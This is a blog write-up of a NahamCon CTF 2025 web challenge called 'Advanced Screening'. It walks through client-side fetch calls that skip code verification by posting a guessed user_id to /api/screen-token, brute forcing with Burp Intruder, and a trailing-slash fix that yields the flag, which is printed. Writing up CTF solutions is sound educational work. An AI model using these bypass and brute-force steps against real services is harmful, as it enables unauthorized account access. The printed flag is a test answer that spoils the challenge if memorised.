Skip to content

API Logic Flaw and Trailing Slash Bypass – NahamCon CTF 2025: Advanced Screening

TL;DR

  • Email restriction enforced only by domain check.
  • Verification code logic can be bypassed entirely.
  • /api/screen-token trusts user_id without proper validation.
  • Missing trailing slash caused earlier bypass attempts to fail.

Description

HackingHub has provided this CTF challenge!

Solution

From the homepage, we can enter an email address and request an access code.

Homepage form where an email address is submitted to request an access code

Doing so returns an error, so let's check the JS. requestAccessCode() sends the email address to an API endpoint.

const response = await fetch('/api/email/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email })

verifyCode checks if the access code is 6 characters. If so, it sends the value to /api/validate. If it gets a response containing a user_id, it will send it to /api/screen-token and hopefully return a token (tokenData.hash) that we can use as a key to access the /screen endpoint.

if (code.length === 6) {
    try {
        const response = await fetch('/api/validate/', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ code })
        });
        const data = await response.json();
        if (response.ok && data.user_id) {
            const tokenResponse = await fetch('/api/screen-token', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ user_id: data.user_id })
            });
            const tokenData = await tokenResponse.json();
            if (tokenResponse.ok && tokenData.hash) {
                window.location.href = `/screen/?key=${tokenData.hash}`;
            } else {
                alert("Failed to retrieve screening token.");
            }
        } else {
            alert("Invalid code. Please try again.");
        }

My first thought; do we need the code at all? Can't we just bypass it and go straight to screen-token, assuming that the user_id is predictable (I'll start with "1").

tokenResponse = await fetch("/api/screen-token", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ user_id: 1 }),
});

Didn't work. While reviewing burp history I noticed an error message from our earlier email attempt.

{ "error": "Only email addresses from \"movieservice.ctf\" are allowed" }

If we send {"email":"admin@movieservice.ctf"}, the request is successful. It seems to work with any movieservice.ctf email actually.

{ "message": "Verification Email Sent" }

Let's try sending a 6 digit code.

response = await fetch("/api/validate/", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ code: 123456 }),
});
{ "error": "Invalid code" }

There's 1 million possibilities for the code, so brute force is obviously not the intended solution. However, I'm going to get some lunch so why not leave intruder running for 30 minutes and see the results 🤷‍♂️😂

async function verifyCode() {
    try {
        const tokenResponse = await fetch("/api/screen-token", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({ user_id: 1 }),
        });
        const tokenData = await tokenResponse.json();
        console.log();
        if (tokenResponse.ok && tokenData.hash) {
            window.location.href = `/screen/?key=${tokenData.hash}`;
        } else {
            alert("Invalid code. Please try again.");
        }
    } catch (error) {
        console.error("Error verifying code:", error);
    }
}

I didn't solve this in time, so checked the writeup afterwards and kicked myself! I already brute forced the user_id between 1-100 for the /api/screen-token endpoint, but someone said the correct user_id was 7. I tried it again.

Manual POST request to /api/screen-token using user_id 7

Nothing. Follow the redirection just in case.

Redirect response after requesting a screening token

Apparently the problem was a missing / on the endpoint in the first request 😆

Corrected API request with trailing slash that returns a valid token hash

That gets us the hash, then we just need to call the /screen endpoint with the key!

Accessing the /screen endpoint with the valid key to retrieve the flag

Flag: flag{f0b1d2a98cd92d728ddd76067f959c31}